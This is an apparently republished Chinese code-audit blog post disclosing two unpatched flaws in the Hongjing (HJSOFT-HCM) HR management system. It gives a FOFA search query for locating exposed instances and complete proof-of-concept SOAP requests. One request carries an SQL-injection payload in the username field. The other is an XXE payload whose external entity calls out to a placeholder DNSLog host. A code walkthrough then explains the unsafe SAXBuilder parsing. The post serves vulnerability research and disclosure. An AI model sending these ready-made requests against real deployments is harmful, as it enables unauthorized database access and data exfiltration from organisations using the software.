[跟着静师傅学代码审计]宏景人力资源信息管理系统代码0day审计

admin 2026-02-10 14:02:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文对宏景人力资源信息管理系统进行代码审计,发现两处0day漏洞。第一处为SQL注入漏洞,位于HrChangeInfoService类的returnSynchroString方法,因cheakCode方法直接将可控参数拼接至select语句导致;第二处为XXE漏洞,位于SynToADService类的sendSyncMsg方法,因使用SAXBuilder解析外部可控XML且未禁用外部实体导致。文章提供了完整的POC数据包及漏洞利用路径分析。 综合评分: 85 文章分类: 代码审计,漏洞分析,WEB安全,漏洞POC,安全研究


cover_image

[跟着静师傅学代码审计]宏景人力资源信息管理系统代码0day审计

原创

静师傅 静师傅

安静安全

2026年2月10日 09:06 广东

点击上方「蓝字」,关注我们

01

SQL注入漏洞

fofa:

app=”HJSOFT-HCM”

SQL注入POC数据包:

POST /services/HrChangeInfoService HTTP/1.1Host: IP:PORTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/xmlContent-Length: 448
<?xml version="1.0"&nbsp;encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xmlns:ser="http://service.core.hrms.com">&nbsp;<soapenv:Header/>&nbsp;<soapenv:Body>&nbsp;&nbsp;<ser:returnSynchroString>&nbsp; &nbsp;<strString>test</strString>&nbsp; &nbsp;<username>admin';*</username>&nbsp; &nbsp;<password>test</password>&nbsp;&nbsp;</ser:returnSynchroString>&nbsp;</soapenv:Body></soapenv:Envelope>

漏洞分析:

查看web.xml,我给出的POC接口用的是/services,其实也可以是/servlet/XFireServlet/接口,因为调用的都是同一个calss类。

分析:

org.codehaus.xfire.transport.http.XFireConfigurableServlet

该XFireConfigurableServlet.class主要是通过配置文件META-INF/xfire/services.xml进行后续的操作,跟进servies.xml查看。

逻辑是通过不同的命名name进入相应的serviceClass类进行处理,SQL注入漏洞是在HrChangeInfoService,跟进com.hjsj.hrms.service.core.HrChangeInfoService分析代码。

在HrChangeInfoService类下会有不同的方法。

位于代码163行的returnSynchroString方法存在SQL注入漏洞,接收参数为strString、username、password,接着跟进this.cheakCode查看。

可以看到,在cheakCode方法下可控参数直接拼接了select语句导致形成SQL注入漏洞。

其他方法如getWhereChangeUsers同样是通过this.cheakCode导致SQL注入漏洞。

02

XXE漏洞

POC数据包如下:

POST&nbsp;/services/SynToADService&nbsp;HTTP/1.1Host:&nbsp;IP:PORTUser-Agent:&nbsp;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0Content-Type:&nbsp;text/xml; charset=UTF-8SOAPAction:&nbsp;""Content-Length:&nbsp;850
<?xml version="1.0"&nbsp;encoding="UTF-8"?><soapenv:Envelope&nbsp;xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xmlns:ser="http://service.core.hrms.com">&nbsp;<soapenv:Header/>&nbsp;<soapenv:Body>&nbsp;&nbsp;<ser:sendSyncMsg>&nbsp; &nbsp;<xmlMessage>&nbsp; &nbsp; <![CDATA[<!DOCTYPE hr [&nbsp; &nbsp; &nbsp;<!ENTITY % remote SYSTEM "你的DNSLog链接">&nbsp; &nbsp; &nbsp;%remote;&nbsp; &nbsp; &nbsp;%send;&nbsp; &nbsp; ]>&nbsp; &nbsp; <hr>&nbsp; &nbsp; &nbsp;<recs>&nbsp; &nbsp; &nbsp; <rec>org,emp</rec>&nbsp; &nbsp; &nbsp;</recs>&nbsp; &nbsp; &nbsp;<jdbc>&nbsp; &nbsp; &nbsp; <datatype>oracle</datatype>&nbsp; &nbsp; &nbsp; <database>test</database>&nbsp; &nbsp; &nbsp; <ip_addr>127.0.0.1</ip_addr>&nbsp; &nbsp; &nbsp; <username>test</username>&nbsp; &nbsp; &nbsp; <port>1521</port>&nbsp; &nbsp; &nbsp; <pass>test</pass>&nbsp; &nbsp; &nbsp;</jdbc>&nbsp; &nbsp; </hr>]]>&nbsp; &nbsp;</xmlMessage>&nbsp;&nbsp;</ser:sendSyncMsg>&nbsp;</soapenv:Body></soapenv:Envelope>

成功复现。

漏洞分析:

在services.xml文件中,位于命名空间SynToADService下的Class位置com.hjsj.hrms.service.ladp.SynToADService进行漏洞分析。

在sendSyncMsg方法中,接收参数xmlMessage,触发XXE外部实体注入的问题是出现在synUtils.parseXml中,跟进synUtils.parseXml查看。

跟进后来到该parseXML方法中,可以看到形成XML外部实体注入的原因是因为:

SAXBuilder&nbsp;saxbuilder&nbsp;=&nbsp;new&nbsp;SAXBuilder(); &nbsp;// 漏洞点1:未配置安全属性StringReader&nbsp;reader&nbsp;=&nbsp;new&nbsp;StringReader(xmlMessage);Document&nbsp;doc&nbsp;=&nbsp;saxbuilder.build(reader); &nbsp;// 漏洞点2:直接解析外部可控的XML

并且由于xmlMessage参数是外部传入的可控字符串,从而可以解析外部XML形成XXE外部实体注入漏洞。

往期文章推荐

[跟着静师傅学代码审计]月子会所ERP管理云平台0day审计

[跟着静师傅学代码审计]itc中心管理服务器审计

[跟着静师傅学代码审计-全网首发]用友U9 V6.6企业版多组织企业互联网应用平台命令执行+SQL+反序列化

公众号:安静安全

点个「在看」,你最好看


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安静安全 静师傅 静师傅《[跟着静师傅学代码审计]宏景人力资源信息管理系统代码0day审计》

评论:0   参与:  3